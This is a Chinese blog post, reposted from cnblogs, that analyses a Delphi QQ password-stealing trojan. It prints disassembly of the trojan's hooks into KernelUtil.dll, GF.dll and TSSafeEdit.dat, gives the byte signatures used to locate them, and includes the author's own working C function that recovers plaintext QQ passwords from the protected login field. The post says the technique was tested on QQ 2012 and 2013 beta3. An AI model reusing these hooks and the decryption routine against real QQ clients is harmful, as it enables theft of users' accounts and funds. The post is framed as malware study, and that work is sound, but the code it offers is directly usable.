分析与提取QQ木马盗号技术
下面是测试的贴图;
程序大致流程如下图:
程序是用Delphi写的,只有加载器加了个upx壳,其他的都没有加壳;
所以分析起来就比较简单了;
这个程序的关键技术都在ntshruis2.dll这个模块中了;
主要是hook了 4 个QQ进程中4个关键的地方;
1.
CODE:0040F9A5 push offset a?isvalidaccoun ; "?IsValidAccount@Misc@Util@@YAHVCTXStrin"...
CODE:0040F9AA push offset aKernelutil_d_0 ; "KernelUtil.dll"
CODE:0040F9AF call GetModuleHandleA_0
CODE:0040F9B4 push eax ; hModule
CODE:0040F9B5 call GetProcAddress_0
CODE:0040F9BA push 0Fh ; int
CODE:0040F9BC push 20h ; int
CODE:0040F9BE push offset unk_413A10 ; int
CODE:0040F9C3 push offset sub_40D11C ; int
CODE:0040F9C8 push ebx ; nSize
CODE:0040F9C9 push eax ; lpBaseAddress
CODE:0040F9CA call sub_406E28 ; hook
hook "KernelUtil.dll"模块中的 "?IsValidAccount@Misc@Util@@YAHVCTXStrin"导出函数 主要是为了获取QQ号;
2.
CODE:0040F9CF push offset a?getaccountnam ; "?GetAccountName@Account@Util@@YA?AVCTXS"...
CODE:0040F9D4 push offset aKernelutil_d_0 ; "KernelUtil.dll"
CODE:0040F9D9 call GetModuleHandleA_0
CODE:0040F9DE push eax ; hModule
CODE:0040F9DF call GetProcAddress_0
CODE:0040F9E4 push 0Fh ; int
CODE:0040F9E6 push 20h ; int
CODE:0040F9E8 push offset unk_413A34 ; int
CODE:0040F9ED push offset sub_40F51C ; int
CODE:0040F9F2 push ebx ; nSize
CODE:0040F9F3 push eax ; lpBaseAddress
CODE:0040F9F4 call sub_406E28
hook "KernelUtil.dll" 模块中的 "?GetAccountName@Account@Util@@YA?AVCTXS" 这个主要这个木马的后序中会
给指定帐号充入Q币3.CODE:0040F9F9 push 5
CODE:0040F9FB push 228390h
CODE:0040FA00 push 0
CODE:0040FA02 mov edx, offset unk_4117C0
CODE:0040FA07 mov ecx, 21h
CODE:0040FA0C mov eax, offset _str_GF_DLL.Text ;GF.dll
CODE:0040FA11 call sub_4069CC //查找GF.dll中的特征码返回要hook的地址;
CODE:0040FA16 push 0Fh ; int
CODE:0040FA18 push 20h ; int
CODE:0040FA1A push offset unk_413A88 ; int
CODE:0040FA1F push offset sub_40F66C ; int
CODE:0040FA24 push 5 ; nSize
CODE:0040FA26 push eax ; lpBaseAddress
CODE:0040FA27 call sub_406E28
hook "GF.dll" 模块中的 特征码为 68 00 00 00 00 E8 00 处的地址 ;
主要是为了获取用户按了什么按键 比如登录按钮;
4.
这个也是最关键的地方,是获取QQ密码的地方
CODE:0040FB08 push 1
CODE:0040FB0A push 186A0h
CODE:0040FB0F push 0
CODE:0040FB11 mov edx, offset unk_4117B8 ;特征码1:88 5D 0F 83 7E 04
CODE:0040FB16 mov ecx, 6
CODE:0040FB1B mov eax, offset _str_TSSafeEdit_dat_0.Text
CODE:0040FB20 call sub_4069CC
CODE:0040FB25 mov esi, eax
CODE:0040FB27 push 0Fh ; int
CODE:0040FB29 push 20h ; int
CODE:0040FB2B push offset unk_413AAC ; int
CODE:0040FB30 push offset sub_40F814 ; int
CODE:0040FB35 push 7 ; nSize
CODE:0040FB37 push esi ; lpBaseAddress
CODE:0040FB38 call sub_406E28
CODE:0040FB3D jmp short loc_40FB74
CODE:0040FB3F ; ---------------------------------------------------------------------------
CODE:0040FB3F
CODE:0040FB3F loc_40FB3F: ; CODE XREF: sub_40F910+1F6j
CODE:0040FB3F push 1
CODE:0040FB41 push 186A0h
CODE:0040FB46 push 0
CODE:0040FB48 mov edx, offset unk_4117B0 ;特征码2:8B 5B 04 03 5D 10 (我机器上自己测试都用这段特征码 2012,2013 beat3版本的)
CODE:0040FB4D mov ecx, 5
CODE:0040FB52 mov eax, offset _str_TSSafeEdit_dat_0.Text; TSSafeEdit.dat
CODE:0040FB57 call sub_4069CC
CODE:0040FB5C mov esi, eax
CODE:0040FB5E push 0Fh ; int
CODE:0040FB60 push 20h ; int
CODE:0040FB62 push offset unk_413AAC ; int
CODE:0040FB67 push offset sub_40F7EC ; int
CODE:0040FB6C push 6 ; nSize
CODE:0040FB6E push esi ; lpBaseAddress
CODE:0040FB6F call sub_406E28 ;hook 函数
hook "TSSafeEdit.dat" 中特征码有 两处 ,只要hook其中的一处 就可以 具体是怎么判断要hook哪处的这个我还没看出来;
这里我们就着重分析下是获取密码的算法;
这里是hook "TSSafeEdit.dat" 中的地址之后 跳到 我们自己的函数中;
CODE:0040F7EC sub_40F7EC proc near ; DATA XREF: sub_40F910+257o
CODE:0040F7EC pusha
CODE:0040F7ED mov eax, [esi+0C0h]
CODE:0040F7F3 add eax, 2
CODE:0040F7F6 push eax
CODE:0040F7F7 push dword ptr [ecx+48h]
CODE:0040F7FA push dword ptr [ecx+40h]
CODE:0040F7FD push dword ptr [ecx+8]
CODE:0040F800 push dword ptr [ecx+14h]
CODE:0040F803 push dword ptr [ecx+4]
CODE:0040F806 call sub_40F6A4
CODE:0040F80B popa
CODE:0040F80C jmp ds:off_4117A4
CODE:0040F80C sub_40F7EC endp
翻译下
__asm
{
pushad
mov eax, [esi+0xC0];
add eax, 2;
push eax; //密钥key2
push dword ptr [ecx+0x48]; //这个不清楚 0x0D 不固定的
push dword ptr [ecx+0x40]; //密码长度
push dword ptr [ecx+0x08]; //待解密的字符串的长度
push dword ptr [ecx+0x14]; //猜测是密钥key1
push dword ptr [ecx+0x04]; //待解密的字符串
call GetPassword;
popad
jmp gHookPasswordJmp
}
call sub_40F6A4 这个函数比较长, 所以就
所以我就贴下我写好的 这段解密代码;
void __stdcall GetPassword(char *szBuf, char *szkey1, int nLen, int nPwdLen, int nbyte, char* szKey2)
{
int n1;
int n2;
int n3;
int n4;
int n5;
char szPwd[50] = {0};
if (!bFrist)
{
bFrist = TRUE;
if (nPwdLen > 0)
{
n1 = 1;
do
{
n2 = n1 * nbyte - 1;
if (*(szkey1 + n2))
{
n3 = *(szBuf + n2);
if (n3 <= 0x60 || n3 >= 0x7B)
{
n4 = 0;
}
else
{
n3 -= 0x20;
n4 = 1;
}
n5 = 0;
while ( n3 != *(szKey2 + n5) )
{
++n5;
if ( n5 == 0x81 )
goto LABEL_16;
}
char szTmp[2] = {0};
if (n4 == 1)
{
sprintf_s(szTmp, "%c", n5+32);
}
else
{
sprintf_s(szTmp, "%c", n5);
}
int nSize = strlen(szPwd);
strcpy(szPwd + nSize, szTmp);
}
else
{
char szTmp[2] = {0};
sprintf_s(szTmp, "%c", *(szBuf + n2));
int nSize = strlen(szPwd);
strcpy(szPwd + nSize, szTmp);
}
LABEL_16:
++n1;
} while (nPwdLen-- != 1);
}
OutputDebugStringA(szPwd);
}
}
源码就不放出来了,到这里 ,关键的一些技术差不多就这样了,这个木马源码还有为指定用户充Q币;
都在 hook "KernelUtil.dll" 模块中的 "?GetAccountName@Account@Util@@YA?AVCTXS" 中操作,有兴趣的可以看看;
测试最近的QQ版本;
2012 版的win7 xp 下测试通过;
2013beat3 版的xp 测试通过;win7 的会崩溃;
2013正式版的测试了用不了;
不过据说已经有牛人写出了R0和R3驱动结合的Hook,可以突破2013正式版。不过现在没工夫去研究那些名名堂了。
转载于:https://www.cnblogs.com/nickli666/articles/3467379.html
分析与提取QQ木马盗号技术相关推荐
- 研究分析QQ木马的原理
最近想研究一下木马原理及键盘记录. 键盘记录的网上有很多源代码. 但是普通的键盘记录勾子好像对QQ 的登录框好像没有任何的作用. QQ 的登录框对windows的键盘中断加密了. 加密原理参照:htt ...
- 研究分析QQ木马程序源代码
QQ 木马的源代码 如何判断系统 如何操作注册表 如何通过控制自己的进程得到其他进程的内容 如何复制文件 如何插入进程[也叫进程注射,好像这么叫] 如何通过SMTP法送邮件 针对QQ1230及2003 ...
- 【安全硬件】Chap.5 如何检测芯片中硬件木马?硬件木马的类型有哪些?检测硬件木马的技术
[安全硬件]Chap.5 如何检测芯片中硬件木马?硬件木马的类型有哪些?检测硬件木马的技术 前言 1. 硬件木马的种类 1.1 硬件木马 1.2 硬件木马的区分 1.1 物理特性类别硬件木马--Phy ...
- 自己动手做QQ木马-----总序
自己动手做QQ木马-----总序 声明: 本文只适合初学者,"帮助"他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西.毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的 ...
- 一次简单的分析手机APK病毒木马
Koodous is a collaborative platform for Android malware research https://koodous.com/ 转载地址:http:// ...
- 利用水文分析方法提取山脊、山谷线
1.背景 作为地形特征线的山音线.山谷线对地形.地貌具有一定的控制作用.它们与山顶点.谷底点以及鞍部点等一起构成了地形起伏变化的骨架结构.同时由于山登线具有分水性,山谷线具有合水性特征,使得它们在地形 ...
- 01 ArcGIS空间分析--水文分析--利用水文分析方法提取山谷山脊线
ArcGIS空间分析的一个特别好的分析教程是汤国安老师的空间分析的内容. 实例与练习 练习1. 利用水文分析方法提取山脊.山谷线 1. 背景:山脊线.山谷线是地形特征线,它们对地形.地貌具有一定的控制 ...
- 中国提取市场趋势报告、技术动态创新及市场预测
出版商:贝哲斯咨询 获取报告样本: 企业竞争态势 提取市场报告涉及的主要国际市场参与者有EID Parry.Neeming Australia.Bros India.Agro Extracts.Par ...
- 基于R语言的Meta分析【全流程、不确定性分析】方法与Meta机器学习技术应用
Meta分析是针对某一科研问题,根据明确的搜索策略.选择筛选文献标准.采用严格的评价方法,对来源不同的研究成果进行收集.合并及定量统计分析的方法,最早出现于"循证医学",现已广泛应 ...
- 手机QQ2009聊天记录分析及提取
十月十三号用上手机QQ2009了,一看,果然更花哨了.但以前写的手机QQ聊天记录提取程序用不上了,莫办法,重新分析. 一 手机QQ2009聊天记录文件的存放位置 C:/System/data/Tenc ...
最新文章
- 2008年上半年 网络工程师 上下午试卷【附带答案】
- bzoj2333 [SCOI2011]棘手的操作(洛谷3273)
- mysql 导入txt数据到数据表【原创】
- 怎样建设WEB Cache
- 卸载vuecli3_卸载vue2.0并升级vue_cli3.0的实例讲解
- FlexPaper 2.2.1介绍与提取嵌入的文档
- 【渝粤教育】国家开放大学2018年春季 0699-22T阅读与写作 参考试题
- 计算机技术要求单科成绩吗,软考考试合格标准怎样确定?单科成绩是否保留?
- [转] 在 Mac OS X 下编译 Objective-C 运行时
- python 生成器 迭代器 区别_Python生成器和迭代器的区别
- php 学习编译扩展
- woff字体找不到导致的404错误
- 天涯论坛邮箱采集器1.0
- Prince和学生们2
- 华为路由器交换机配置命令
- 2019 TIP之ReID:Learning Modality-Specific Representations for Visible-Infrared Person Re-Identificati
- jQuery 性能优化
- 算法问题:Smith数问题
- 父母教养方式与幼儿焦虑关系的三水平元分析
- python爬虫 爬取JD商城快消品的保质期
热门文章
- 世预赛:12强赛首战国足0-3不敌澳大利亚,下一场面对日本队国足会如何调整?
- C++(18)——温度表达转化
- QQ游戏基本通信机制(QQ游戏外挂编写)
- 用友u8 如何配置文件服务器,用友u8配置服务器
- SP商BI平台(MP子平台)——通信增值业务运营SP公司
- 2020-09-03解决pip install安装非常慢[Errno 101] 网络不可达问题
- 启发式算法(Heuristic)概述
- 如何让工作更有活力?社科院与杜兰大学金融管理硕士项目帮你充电续航
- python编程,毫秒级延时的一种实现方式
- ★不评价别人的生活,是一个…